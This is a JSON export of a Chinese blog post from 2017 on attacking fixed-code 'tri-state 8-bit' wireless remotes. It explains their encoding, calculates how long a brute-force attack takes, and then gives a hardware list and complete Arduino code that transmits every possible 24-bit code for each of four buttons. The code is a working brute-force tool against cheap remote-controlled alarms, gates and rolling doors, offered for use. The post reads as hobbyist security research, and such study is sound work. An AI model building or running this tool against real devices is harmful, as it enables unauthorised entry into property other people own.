{"id":406,"date":"2017-02-13T15:47:57","date_gmt":"2017-02-13T07:47:57","guid":{"rendered":"http:\/\/www.thinkmesh.net\/?p=406"},"modified":"2017-02-13T18:51:47","modified_gmt":"2017-02-13T10:51:47","slug":"%e6%97%a0%e7%ba%bf%e9%81%a5%e6%8e%a7%e5%99%a8%e4%bf%a1%e5%8f%b7%e6%94%bb%e5%87%bb","status":"publish","type":"post","link":"http:\/\/www.thinkmesh.net\/?p=406","title":{"rendered":"\u65e0\u7ebf\u9065\u63a7\u5668\u4fe1\u53f7\u653b\u51fb"},"content":{"rendered":"<p><a href=\"http:\/\/www.thinkmesh.net\/wp-content\/uploads\/2017\/02\/2017021307483335.png\" rel=\"box\" class=\"fancybox\"><img decoding=\"async\" src=\"http:\/\/www.thinkmesh.net\/wp-content\/uploads\/2017\/02\/2017021307483335.png\"  \/><\/a><\/p>\n<div class=\"alert alert-info\" role=\"alert\">\u65e0\u7ebf\u9065\u63a7\u5668\uff08\u65e0\u7ebf\u7535\u9065\u63a7\u5668\uff09\u5728\u6211\u4eec\u751f\u6d3b\u4e2d\u975e\u5e38\u5e38\u89c1\uff0c\u5e94\u7528\u4e8e\u5404\u79cd\u573a\u666f\uff0c\u65b9\u4fbf\u7740\u7528\u6237\u7684\u4f7f\u7528\u3002\u4e0d\u8fc7\u5927\u591a\u6570\u8fd8\u662f\u7528\u4e8e\u5b89\u9632\u65b9\u9762\u7684\uff0c\u6bd4\u5982: \u9065\u63a7\u62a5\u8b66\u5668\u3001\u7535\u52a8\u5377\u5e18\u95e8\u3001\u7535\u52a8\u4f38\u7f29\u95e8\u3001\u9065\u63a7\u7535\u5f00\u5173\u3001\u65e0\u7ebf\u9065\u63a7\u95e8\u94c3\u2026\u2026<\/div>\n<h2>1.\u65e0\u7ebf\u9065\u63a7\u5668\u7b80\u4ecb<\/h2>\n<p>\u65e0\u7ebf\u9065\u63a7\u5668\u4ece\u5b89\u5168\u89d2\u5ea6\u770b\u5927\u81f4\u5206\u4e3a\u4e24\u7c7b\uff0c\u4e00\u7c7b\u662f\u6700\u666e\u904d\u7684\u56fa\u5b9a\u7801\u9065\u63a7\u5668\uff0c\u7279\u70b9\u662f\u5ec9\u4ef7\u3001\u5e94\u7528\u5e7f\u6cdb\u3001\u5e02\u573a\u5927\u3001\u7528\u6237\u591a\uff1b\u53e6\u4e00\u7c7b\u662f\u6eda\u52a8\u7801\u9065\u63a7\u5668\uff0c\u7279\u70b9\u662f\u4ef7\u683c\u8f83\u8d35\u3001\u76f8\u5bf9\u6bd4\u8f83\u5b89\u5168\u3001\u7528\u4e8e\u6c7d\u8f66\u5b89\u5168\u9632\u76d7\u7b49\u5b89\u5168\u8981\u6c42\u8f83\u9ad8\u7684\u5730\u65b9\u3002<\/p>\n<p>\u56fa\u5b9a\u7801\u9065\u63a7\u5668\u6709\u5f88\u591a\u79cd\u7f16\u7801\u65b9\u5f0f\uff0c\u56fd\u5185\u5e38\u89c1\u7684\u662f 3 \u6001 8 \u4f4d\u7684\u7f16\u7801\u6216\u8005\u5382\u5546\u51fa\u5382\u65f6\u70e7\u5f55\u7684\u968f\u673a\u7801\u3002\u6eda\u52a8\u7801\u8fd9\u91cc\u4e0d\u505a\u8bb2\u89e3\uff0c\u6211\u90fd\u8fd8\u5f97\u5230\u8fd9\u7c7b\u9065\u63a7\u5668\uff0c\u6eda\u52a8\u7801\u76f8\u5bf9\u6765\u8bf4\u6bd4\u8f83\u5b89\u5168\uff0c\u4f46\u4e5f\u5e76\u975e\u7edd\u5bf9\u5b89\u5168\uff0c\u4f60\u7684\u6c7d\u8f66\u7528\u5230\u5c31\u662f\u6eda\u52a8\u7801\u9065\u63a7\u5668\uff0c\u7136\u800c\u76d7\u8d3c\u5728 N \u5e74\u524d\u5c31\u80fd\u4e70\u5230\u5e72\u6270\u7834\u89e3\u4f60\u6c7d\u8f66\u9632\u76d7\u7684\u8bbe\u5907\u4e86\u3002<\/p>\n<p>\u65e0\u7ebf\u9065\u63a7\u5668\u4ece\u4fe1\u53f7\u8c03\u5236\u65b9\u5f0f\u53ef\u4ee5\u5927\u81f4\u5206\u6210 OOK \u548c FSK \u4e24\u79cd\u65b9\u5f0f\uff0c\u5f53\u7136\u8fd9\u53ea\u662f\u5e38\u89c1\u7684\uff0c\u8fd8\u6709\u5176\u4ed6\u7684\u4fe1\u53f7\u8c03\u5236\u65b9\u5f0f\u3002<\/p>\n<h2>2.\u4e09\u6001\u516b\u4f4d\u9065\u63a7\u5668<\/h2>\n<p>3 \u6001 8 \u4f4d\u9065\u63a7\u5668\u662f\u6211\u4eec\u5e38\u89c1\u7684\u9065\u63a7\u5668\uff0c\u5b83\u5c5e\u4e8e\u56fa\u5b9a\u7801\u9065\u63a7\u5668\u3002\u5728\u7535\u74f6\u8f66\u9632\u76d7\u5668\u3001\u7535\u52a8\u5377\u5e18\u95e8\u3001\u7535\u52a8\u4f38\u7f29\u95e8\u3001\u9065\u63a7\u7535\u5f00\u5173\u3001\u65e0\u7ebf\u9065\u63a7\u95e8\u94c3\u8fd9\u4e9b\u5e94\u7528\u4e2d\u90fd\u80fd\u89c1\u5230\u8fd9\u79cd\u9065\u63a7\u5668\uff0c\u56e0\u4e3a\u8fd9\u79cd\u9065\u63a7\u5668\u5f88\u5ec9\u4ef7\u3002<\/p>\n<h3>2.1 \u4ec0\u4e48\u662f\u4e09\u6001\u516b\u4f4d\u9065\u63a7\u5668\uff1f<\/h3>\n<p>3 \u6001 8 \u4f4d\u9065\u63a7\u5668\u987e\u540d\u601d\u4e49\uff0c\u5b83\u6709 3 \u79cd\u7801\u4f4d\u72b6\u6001 8 \u4e2a\u7801\u4f4d\u3002\u4e8c\u8fdb\u5236\u662f\u7531 0 \u548c 1 \u7ec4\u6210\u7684\uff0c\u6240\u4ee5 2 \u4f4d(bit)\u957f\u7684\u4e8c\u8fdb\u5236\u6709 4 \u79cd\u53ef\u80fd\u6027 00 01 10 11 \uff0c 3 \u6001 8 \u4f4d\u9065\u63a7\u5668\u4f7f\u7528\u7684\u662f\u8fd9\u5176\u4e2d\u7684 3 \u79cd 00 01 11 \u8fd9\u662f 3 \u6001\u30028 \u4f4d\u662f\u6307\u6709 8    \u4e2a\u7f16\u7801\u4f4d\uff0c\u6bcf\u4e2a\u7f16\u7801\u4f4d\u53ef\u4f7f\u7528 3 \u6001\u4e2d\u7684\u4efb\u610f\u4e00\u79cd\uff0c\u6240\u4ee5\u662f 2 * 8 = 16 \u603b\u5171 16 \u4f4d(bit)\u957f\u7684\u4e8c\u8fdb\u5236\uff0c\u4f46\u662f\u5e38\u89c1\u7684\u65e0\u7ebf\u9065\u63a7\u5668\u662f\u7684\u6570\u636e\u957f\u5ea6\u662f 24 \u4f4d(bit)\uff0c\u56e0\u4e3a\u540e 8 \u4f4d(bit)\u662f\u5b9a\u4e49\u6309\u952e\u503c\u7684\uff08\u5982\u679c\u4f60\u5bf9\u4fe1\u53f7\u89e3\u7801\u51fa\u6765\u7684\u662f 25 \u4f4d(bit)\u957f\uff0c\u4f60\u53ef\u4ee5\u9664\u53bb\u672b\u5c3e\u7684 0 \uff1b\u5982\u679c\u662f 25 \u4f4d(bit)\u957f\uff0c\u672b\u5c3e\u7684\u662f 1 \u8fd9\u53ef\u80fd\u662f\u4f60\u89e3\u7801\u9519\u4e86\uff09\u3002\u5e38\u89c1\u7684 4 \u952e\u9065\u63a7\u5668\u7684\u7684\u6bcf\u4e2a\u952e\u503c\u90fd\u662f\u51fa\u5382\u5c31\u56fa\u5b9a\u4e86\u7684\uff0c\u5206\u522b\u662f 11000000    00110000 00001100 00000011<\/p>\n<h3>2.2 \u5382\u5546\u70e7\u5f55\u7684\u56fa\u5b9a\u7801<\/h3>\n<p>\u5982\u679c\u4f60\u7684\u56fa\u5b9a\u7801\u9065\u63a7\u5668\u89e3\u7801\u540e\u7684\u4e8c\u8fdb\u5236\u4e2d\u6709\u4e00\u5bf9 10 \u7801\uff08\u6ce8\u610f\u662f\u4e00\u5bf9\uff0c\u524d\u4e00\u5bf9\u7684\u540e 1 \u8ddf\u540e\u4e00\u5bf9\u7684\u524d 0 \u7ec4\u6210\u7684 10 \u662f\u4e0d\u7b97\u7684\uff09\u8fd9\u8bf4\u660e\u4f60\u7684\u9065\u63a7\u5668\u4e0d\u5c5e\u4e8e 3 \u6001 8 \u4f4d\u9065\u63a7\u5668\uff0c\u662f\u5382\u5546\u51fa\u5382\u65f6\u70e7\u5f55\u7684\u56fa\u5b9a\u7801\uff0c\u8fd9\u79cd\u9065\u63a7\u5668\u7684\u540e 8 \u4f4d(bit)\u6309\u952e\u503c\u4e5f\u4e0d\u4e00\u5b9a\u662f\u6807\u51c6\u7684 4 \u79cd\u53ef\u80fd\u6027\u3002\u8fd9\u7c7b\u56fa\u5b9a\u7801\u9065\u63a7\u5668\u7684\u63a5\u6536\u7aef\u4e00\u822c\u90fd\u662f\u5b66\u4e60\u884c\u7684\uff0c\u4f1a\u6709\u4e00\u4e2a\u5b66\u4e60\u952e\u3002\u4f5c\u7528\u662f\u914d\u5bf9\u65b0\u7684\u9065\u63a7\u5668\uff0c\u5982\u679c\u5f53\u524d\u9065\u63a7\u5668\u574f\u4e86\uff0c\u4f60\u53ef\u4ee5\u4e70\u4e2a\u540c\u7c7b\u578b\u7684\u9065\u63a7\u5668\uff0c\u957f\u6309\u5b66\u4e60\u952e\u518d\u6309\u9065\u63a7\u5668\uff0c\u5c31\u53ef\u4ee5\u5b66\u4e60\u5230\u65b0\u9065\u63a7\u5668\u7684\u7f16\u7801\u7684\u4fe1\u606f\uff0c\u8fd9\u6837\u4f60\u5c31\u80fd\u7ee7\u7eed\u4f7f\u7528\u4e86\u3002<\/p>\n<h3>2.3 \u8fa8\u522b\u662f\u5426\u662f\u4e09\u6001\u516b\u4f4d<\/h3>\n<p>\u8fa8\u522b\u662f\u5426\u662f 3 \u6001 8 \u4f4d\u9065\u63a7\u5668\u6700\u9760\u8c31\u7684\u65b9\u6cd5\u5c31\u662f\u62c6\u5f00\u6765\u770b PCB \u677f\u5b50\uff0c\u6709 3 \u6392 8 \u5217\u710a\u76d8\u7684\u80af\u5b9a\u662f\uff0c\u5426\u5219\u5c31\u4e0d\u662f\uff0c\u4f7f\u7528 3 \u6001 8 \u4f4d\u62e8\u7801\u5f00\u5173\u7684\u4e5f\u662f\u3002<br \/>\n<a href=\"http:\/\/www.thinkmesh.net\/wp-content\/uploads\/2017\/02\/2017021310341390.png\" rel=\"box\" class=\"fancybox\"><img decoding=\"async\" src=\"http:\/\/www.thinkmesh.net\/wp-content\/uploads\/2017\/02\/2017021310341390.png\" \/><\/a><\/p>\n<h3>2.4 \u4e09\u6001\u516b\u4f4d\u9065\u63a7\u5668\u7f16\u7801<\/h3>\n<p>\u56fd\u5185\u5e38\u89c1\u7684\u7f16\u7801\u65b9\u6cd5\u90fd\u662f\u76f4\u63a5\u710a\u63a5 PCB \u4e0a\u7684\u710a\u76d8\uff0c\u6781\u5c11\u4f7f\u7528\u62e8\u7801\u5f00\u5173\uff0c\u8282\u7701\u6210\u672c\uff1f\u5f53\u7136\u4f60\u4e5f\u80fd\u4e70\u5230 3 \u6001 8 \u4f4d\u7684\u62e8\u7801\u9065\u63a7\u5668\u3002<br \/>\n<a href=\"http:\/\/www.thinkmesh.net\/wp-content\/uploads\/2017\/02\/2017021310351963.png\" rel=\"box\" class=\"fancybox\"><img decoding=\"async\" src=\"http:\/\/www.thinkmesh.net\/wp-content\/uploads\/2017\/02\/2017021310351963.png\" \/><\/a><br \/>\n\u4ece\u4e0a\u56fe\u4e2d\u53ef\u4ee5\u770b\u51fa\u603b\u5171\u6709 3 \u6392 8 \u5217\u710a\u76d8\uff0c\u8fd9\u4e5f\u5c31\u662f 3 \u6001\uff08\u4e0a\u4e2d\u4e0b\uff09 8 \u4f4d\u7684\u5b9a\u4e49\u65b9\u5f0f\u3002\u4e2d\u95f4\u7684\u4e00\u6392\u8fde\u63a5\u7684\u662f\u82af\u7247\u7684\u5f15\u811a\uff0c\u5f53\u82af\u7247\u7684\u4e00\u4e2a\u5f15\u811a\u4e0e High \u710a\u63a5\u4e0a\u540e\u4ea7\u751f\u7684\u7f16\u7801\u662f 11 \u4e0e Low \u710a\u63a5\u4e0a\u540e\u4ea7\u751f\u7684\u7f16\u7801\u662f 00 \u4e0d\u710a\u63a5\u7684\u9ed8\u8ba4\u7f16\u7801\u662f 01\u3002\u7f16\u7801\u662f\u6210\u5bf9\u7684\uff0c\u9065\u63a7\u5668\u4e0a\u662f\u8fd9\u4e2a\u7f16\u7801\uff0c\u63a5\u6536\u5668\u4e0a\u4e5f\u5f97\u662f\u8fd9\u4e2a\u7f16\u7801\u5426\u5219\u662f\u6ca1\u6cd5\u4f7f\u7528\u7684\u3002<\/p>\n<h2>3.\u5206\u6790\u5b89\u5168\u7f3a\u9677<\/h2>\n<p>\u4ece\u4e0a\u6587\u4e2d\u6211\u4eec\u77e5\u9053\u4e86\u9065\u63a7\u5668\u7684\u4e8c\u8fdb\u5236\u7f16\u7801\u957f\u5ea6\u662f 24 \u4f4d(bit)\uff0c\u524d 16 \u4f4d(bit)\u662f\u7531 3 \u6001 8 \u4f4d\u7f16\u7801\u65b9\u5f0f\u5b9a\u4e49\u7684\uff0c\u540e 8 \u4f4d(bit)\u662f\u5382\u5546\u56fa\u5b9a\u6b7b\u7684\u7684\u6309\u952e\u503c\u3002\u4e00\u4e2a\u9065\u63a7\u5668\u4e0a\u7684\u6bcf\u4e2a\u6309\u952e\u7684\u524d 16 \u4f4d(bit)\u90fd\u662f\u4e00\u6837\u7684\uff0c\u540e 8 \u4f4d(bit)\u662f\u4e0d\u4e00\u6837\u7684\uff0c\u5c31 4 \u79cd\u53ef\u80fd\u6027\u3002\u5047\u8bbe\u5982\u679c\u6bcf\u4e2a\u6309\u952e\u90fd\u662f\u6ca1\u6709\u89c4\u5f8b\u7684\u968f\u673a\u7801\uff0c\u90a3\u4e48\u4f60\u60f3\u901a\u8fc7\u66b4\u529b\u7a77\u4e3e\u51fa\u6b63\u786e\u7684\u7f16\u7801\uff0c\u4f60\u9700\u8981\u5c1d\u8bd5 2 ^ 24 = 16777216 \u603b\u5171 16777216 \u79cd\u53ef\u80fd\u6027\u3002\u5047\u8bbe\u540e 8 \u4f4d(bit)\u662f\u56fa\u5b9a\u7684 4 \u79cd\u53ef\u80fd\u6027\uff0c\u524d    16 \u4f4d(bit)\u662f\u968f\u673a\u7684\uff0c\u90a3\u4f60\u53ea\u9700\u8981\u5c1d\u8bd5\u524d 16 \u4f4d(bit)\u7684\u6240\u6709\u53ef\u80fd\u6027\u5728\u62fc\u63a5\u4e0a\u540e 8 \u4f4d(bit)\u7684\u56fa\u5b9a\u503c\uff0c\u4f60\u9700\u8981\u5c1d\u8bd5 2 ^ 16 = 65536 4 ^ 8 = 65536 \u6bcf\u4e2a\u6309\u952e\u603b\u5171 65536 \u79cd\u53ef\u80fd\u6027\u3002\u7531\u4e8e 3 \u6001 8 \u4f4d\u91cc\u662f\u6ca1\u6709 10 \u7801\u7684\uff0c\u6240\u6709\u4f60\u9700\u8981\u5c1d\u8bd5\u7684\u6b21\u6570\u662f 3 ^ 8 = 6561 \u6bcf\u4e2a\u6309\u952e\u603b\u5171 6561 \u79cd\u53ef\u80fd\u6027\u3002<\/p>\n<p>\u77e5\u9053\u4e86\u66b4\u529b\u7a77\u4e3e\u653b\u51fb\u9700\u8981\u5c1d\u8bd5\u7684\u6b21\u6570\u540e\u6211\u4eec\u518d\u6765\u7b97\u4e00\u4e0b\u9700\u8981\u7684\u65f6\u95f4\uff0c\u6211\u5bf9\u4e00\u4e2a\u666e\u901a\u7684\u9065\u63a7\u5668\u505a\u4fe1\u53f7\u53d1\u9001\u7684\u91c7\u96c6\uff0c10 \u79d2\u949f\u65f6\u95f4\u5185\u6211\u5728\u63a5\u6536\u7aef\u6536\u5230\u4e00\u767e\u96f6\u51e0\u6b21\u9065\u63a7\u4fe1\u53f7\uff0c\u4e5f\u5c31\u662f\u8bf4\u4e00\u5206\u949f\u81f3\u5c11\u53ef\u4ee5\u53d1\u9001\uff08\u5c1d\u8bd5\uff09 600 \u4e2a\u53ef\u80fd\u6027\u3002\u5c1d\u8bd5 24 \u4f4d(bit)\u957f\u5ea6\u7684\u6240\u6709\u7ec4\u5408\u6240\u9700\u7684\u65f6\u95f4\u662f 16777216 \/ 600 = 27962 27962 \u5206\u949f\u5de6\u53f3\uff0c\u5927\u6982 20 \u5929\u4e0d\u5230\u3002\u5c1d\u8bd5 16 \u4f4d(bit)\u957f\u5ea6\u4e00\u4e2a\u6309\u952e\u7684\u6240\u6709\u7ec4\u5408\u6240\u9700\u7684\u65f6\u95f4\u662f 65536 \/ 600 = 109 109 \u5206\u949f\u5de6\u53f3\uff0c\u5927\u6982\u4e00\u4e2a\u591a\u5c0f\u65f6\u3002\u5c1d\u8bd5    3 \u6001 8 \u4f4d\u4e00\u4e2a\u6309\u952e\u7684\u6240\u6709\u7ec4\u5408\u6240\u9700\u7684\u65f6\u95f4\u662f 6561 \/ 600 = 11 \u5927\u6982 11 \u5206\u949f\u5de6\u53f3\uff01\uff01<\/p>\n<p>\u90a3\u4e48 Samy Kamkar \u5728 8 \u79d2\u5185\u6253\u5f00\u8f66\u5e93\u95e8\u7684 OpenSesame \u9879\u76ee\u662f\u600e\u4e48\u505a\u5230\u7684\uff1f\u9996\u5148 Samy Kamkar \u7684\u90a3\u4e2a\u8f66\u5e93\u95e8\u7684\u9065\u63a7\u5668\u5e76\u975e\u662f 3 \u6001 8 \u4f4d\u7684\uff0c\u7f16\u7801\u957f\u5ea6\u597d\u50cf\u53ea\u6709 12 \u4f4d(bit)\uff0c 2 ^ 12 = 4096 \u603b\u5171 4096 \u79cd\u7ec4\u5408\u3002\u6700\u5173\u952e\u662f\u9065\u63a7\u8bbe\u5907\u7684\u63a5\u6536\u7aef\u4f7f\u7528\u7684\u662f\u79fb\u4f4d\u5bc4\u5b58\u5668\uff0c\u6240\u4ee5\u4f7f\u7528    De Bruijn \u5e8f\u5217 \u5373\u53ef\u5728\u975e\u5e38\u77ed\u7684\u65f6\u95f4\u5185\u5b8c\u6210\u6240\u6709\u53ef\u80fd\u6027\u7684\u5c1d\u8bd5\u3002<\/p>\n<p>\u4f46\u6211\u4eec\u5e38\u89c1\u7684 3 \u6001 8 \u4f4d\u9065\u63a7\u8bbe\u5907\u7684\u63a5\u6536\u7aef\u7528\u5f97\u5e76\u975e\u662f\u79fb\u4f4d\u5bc4\u5b58\u5668\uff0c\u6240\u4ee5\u6ca1\u6cd5\u4f7f\u7528De Bruijn\u5e8f\u5217\u5b9e\u73b0\u66b4\u529b\u7a77\u4e3e\u653b\u51fb\u3002\u68c0\u6d4b\u63a5\u6536\u7aef\u662f\u5426\u4f7f\u7528\u4e86\u79fb\u4f4d\u5bc4\u5b58\u5668\u7684\u4e00\u4e2a\u65b9\u6cd5\u662f\u5728\u6b63\u786e\u7684\u7f16\u7801\u524d\u52a0\u4e2a 0 \u3002\u5982\u679c\u4f7f\u7528\u4e86\u79fb\u4f4d\u5bc4\u5b58\u5668\uff0c\u90a3\u4e48\u4f1a\u8df3\u8fc7\u9519\u8bef\u7684\u4e00\u4e2a\u4f4d(bit)\u68c0\u67e5\u4e0b\u4e00\u4e2a\u6b63\u786e\u7684\uff0c\u5e76\u7ed9\u4e88\u54cd\u5e94\u3002\u5982\u679c\u6ca1\u4f7f\u7528\u79fb\u4f4d\u5bc4\u5b58\u5668\uff0c\u90a3\u4e48\u4ec0\u4e48\u53cd\u5e94\u90fd\u6ca1\u6709\uff0c\u56e0\u4e3a\u4f60\u53d1\u9001\u7684\u8fd9\u4e2a\u7f16\u7801\u662f\u9519\u8bef\u7684\u3002<\/p>\n<h2>4.\u5236\u4f5c Hacking \u786c\u4ef6<\/h2>\n<p>\u4ece\u4e0a\u9762\u7406\u8bba\u5206\u6790\u4e2d\u6211\u4eec\u77e5\u9053\u4e86\u8fd9\u79cd\u9065\u63a7\u8bbe\u5907\u6240\u5b58\u5728\u7684\u5176\u4e2d\u4e00\u4e2a\u7f3a\u9677\uff0c\u8981\u5c1d\u8bd5\u5229\u7528\u8fd9\u4e2a\u7f3a\u9677\u5b9e\u73b0\u5bf9\u8bbe\u5907\u7684\u653b\u51fb\u65b9\u6cd5\u4e0d\u6b62\u4e00\u79cd\u3002\u4f60\u53ef\u4ee5\u62b1\u7740\u4f60\u7684\u7b14\u8bb0\u672c\u548c SDR \u8bbe\u5907\u53bb\u653b\u51fb\u5b83\uff0c\u6216\u8005\u6211\u4eec\u5c1d\u8bd5\u5236\u4f5c\u81ea\u5df1\u7684\u4fbf\u6377\u5f0f\u786c\u4ef6\u6765\u5229\u7528\u8fd9\u4e2a\u7f3a\u9677\u5b9e\u73b0\u5bf9\u8bbe\u5907\u7684\u653b\u51fb\u3002<\/p>\n<p>\u8fd9\u4e2a\u6211\u4eec\u4f7f\u7528 Arduino \u548c RF \u6a21\u5757\u5b9e\u73b0\u653b\u51fb\u529f\u80fd\u3002\u4f7f\u7528 Arduino \u662f\u56e0\u4e3a\u5ec9\u4ef7\u3001\u6613\u4e0a\u624b\uff0c\u5f53\u7136\u4f60\u6709\u80fd\u529b\u7684\u8bdd\u4e5f\u53ef\u4ee5\u4f7f\u7528\u5176\u4ed6\u5355\u7247\u673a\u53bb\u5b9e\u73b0\uff0c\u6216\u8005\u81ea\u5df1\u8bbe\u8ba1\u7535\u8def\uff0c\u4f7f\u7528\u66f4\u597d\u7684 CC1111 \u82af\u7247\u53bb\u5b9e\u73b0 RF \u529f\u80fd\u3002<\/p>\n<h3>4.1 \u786c\u4ef6\u5217\u8868<\/h3>\n<div class=\"alert alert-info\" role=\"alert\">Arduino Pro Micro\u3001315 MHz\u6216433 MHz \u65e0\u7ebf\u6a21\u5757\u3001\u8f7b\u89e6\u6309\u94ae\u300110K\u7535\u963b\u3001\u9762\u5305\u677f\u3001\u9762\u5305\u677f\u8df3\u7ebf<\/div>\n<h3>4.2 \u786c\u4ef6\u8fde\u63a5\u65b9\u5f0f<\/h3>\n<p><a href=\"http:\/\/www.thinkmesh.net\/wp-content\/uploads\/2017\/02\/2017021310402677.jpg\" rel=\"box\" class=\"fancybox\"><img decoding=\"async\" src=\"http:\/\/www.thinkmesh.net\/wp-content\/uploads\/2017\/02\/2017021310402677.jpg\" \/><\/a><br \/>\n<a href=\"http:\/\/www.thinkmesh.net\/wp-content\/uploads\/2017\/02\/2017021310405867.jpg\" rel=\"box\" class=\"fancybox\"><img decoding=\"async\" src=\"http:\/\/www.thinkmesh.net\/wp-content\/uploads\/2017\/02\/2017021310405867.jpg\" \/><\/a><\/p>\n<h3>4.3 \u529f\u80fd\u4ee3\u7801<\/h3>\n<pre class=\"prettyprint linenums\" >\r\n\/*\r\n  Brute Force Attack 4 ^ 8 Remote Control\r\n\r\nhttps:\/\/github.com\/ZMOM1031\/bruteforce3-8remote\r\n\r\n*\/\r\n\r\n#include &lt;stdio.h&gt;\r\n#include &lt;RCSwitch.h&gt;\r\n\r\nRCSwitch mySwitch = RCSwitch();\r\n\r\n\/\/ \u5b9a\u4e49 4 \u4e2a\u6309\u952e\u9488\u811a\r\nconst int button_a = 10;\r\nconst int button_b = 16;\r\nconst int button_c = 14;\r\nconst int button_d = 15;\r\n\r\nint butStatA = 0;\r\nint butStatB = 0;\r\nint butStatC = 0;\r\nint butStatD = 0;\r\nint dfa = 256;\r\n\r\nvoid setup() {\r\n\r\n  Serial.begin(9600);\r\n\r\n  mySwitch.enableTransmit(9);    \/\/ \u5b9a\u4e49\u53d1\u9001\u6a21\u5757\u7684\u6570\u636e\u4f20\u8f93\u9488\u811a\r\n  mySwitch.setPulseLength(170);   \/\/ \u5b9a\u4e49\u8109\u51b2\u957f\u5ea6\uff0c\u8fd9\u4e2a\u503c\u5177\u4f53\u770b\u4f60\u4f7f\u7528\u7684\u9065\u63a7\u5668\u800c\u5b9a\r\n  pinMode(button_a, INPUT);\r\n  pinMode(button_b, INPUT);\r\n  pinMode(button_c, INPUT);\r\n  pinMode(button_d, INPUT);\r\n\r\n}\r\n\r\nvoid loop() {\r\n\r\n  \/\/ read the state of the pushbutton value:\r\n  butStatA = digitalRead(button_a);\r\n  butStatB = digitalRead(button_b);\r\n  butStatC = digitalRead(button_c);\r\n  butStatD = digitalRead(button_d);\r\n\r\n  \/\/ Button A\r\n  if (butStatA == HIGH) {    \/\/ check if the pushbutton is pressed.\r\n    for (long i = 0; i &lt; 65535; i++ ){\r\n      long key = long(i * dfa) + int(192);\r\n      mySwitch.send(key, 24);\r\n    }\r\n  }\r\n\r\n  \/\/ Button B\r\n  if (butStatB == HIGH) {\r\n    for (long i = 0; i &lt; 65535; i++ ){\r\n      long key = long(i * dfa) + int(48);\r\n      mySwitch.send(key, 24);\r\n    }\r\n  }\r\n\r\n  \/\/ Button C\r\n  if (butStatC == HIGH) {\r\n    for (long i = 0; i &lt; 65535; i++ ){\r\n      long key = long(i * dfa) + int(12);\r\n      mySwitch.send(key, 24);\r\n    }\r\n  }\r\n\r\n  \/\/ Button D\r\n  if (butStatD == HIGH) {\r\n    for (long i = 0; i &lt; 65535; i++ ){\r\n      long key = long(i * dfa) + int(3);\r\n      mySwitch.send(key, 24);\r\n    }\r\n  }\r\n\r\n}\r\n<\/pre>\n<h2>5.\u603b\u7ed3<\/h2>\n<p>\u5728\u5b9e\u9645\u6d4b\u8bd5\u4e2d\u66b4\u529b\u7a77\u4e3e\u653b\u51fb\u786e\u5b9e\u662f\u6709\u6548\u7684\uff0c\u4f46\u7531\u4e8e\u65f6\u95f4\u5306\u5fd9\uff0c\u786c\u4ef6\u8bbe\u8ba1\u548c\u4ee3\u7801\u90fd\u4e0d\u662f\u6700\u4f18\u5316\u7684\uff0c\u6240\u653b\u51fb\u7684\u901f\u5ea6\u8fd8\u662f\u5dee\u4e86\u70b9\u3002\u5982\u679c\u4f60\u4f7f\u7528\u7684\u662f\u8fd9\u79cd\u7c7b\u578b\u7684\u9065\u63a7\u8bbe\u5907\u4e5f\u4e0d\u7528\u62c5\u5fc3\u4f1a\u8fd9\u4e48\u6837\u3002<a href=\"https:\/\/github.com\/ZMOM1031\/bruteforce3-8remote\">bruteforce3-8remote<\/a>\u8fd9\u4e2a\u9879\u76ee\u540e\u7eed\u8fd8\u4f1a\u66f4\u65b0\uff0c\u4e89\u53d6\u8fbe\u5230\u6700\u9ad8\u7684\u53ef\u7528\u5ea6\uff0c\u8fd8\u4f1a\u518d\u52a0\u4e00\u4e9b\u529f\u80fd\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u65e0\u7ebf\u9065\u63a7\u5668\uff08\u65e0\u7ebf\u7535\u9065\u63a7\u5668\uff09\u5728\u6211\u4eec\u751f\u6d3b\u4e2d\u975e\u5e38\u5e38\u89c1\uff0c\u5e94\u7528\u4e8e\u5404\u79cd\u573a\u666f\uff0c\u65b9\u4fbf\u7740\u7528\u6237\u7684\u4f7f\u7528\u3002\u4e0d\u8fc7\u5927\u591a\u6570\u8fd8\u662f\u7528\u4e8e\u5b89\u9632\u65b9\u9762\u7684 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[10],"tags":[],"_links":{"self":[{"href":"http:\/\/www.thinkmesh.net\/index.php?rest_route=\/wp\/v2\/posts\/406"}],"collection":[{"href":"http:\/\/www.thinkmesh.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.thinkmesh.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.thinkmesh.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.thinkmesh.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=406"}],"version-history":[{"count":14,"href":"http:\/\/www.thinkmesh.net\/index.php?rest_route=\/wp\/v2\/posts\/406\/revisions"}],"predecessor-version":[{"id":426,"href":"http:\/\/www.thinkmesh.net\/index.php?rest_route=\/wp\/v2\/posts\/406\/revisions\/426"}],"wp:attachment":[{"href":"http:\/\/www.thinkmesh.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=406"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.thinkmesh.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=406"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.thinkmesh.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=406"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}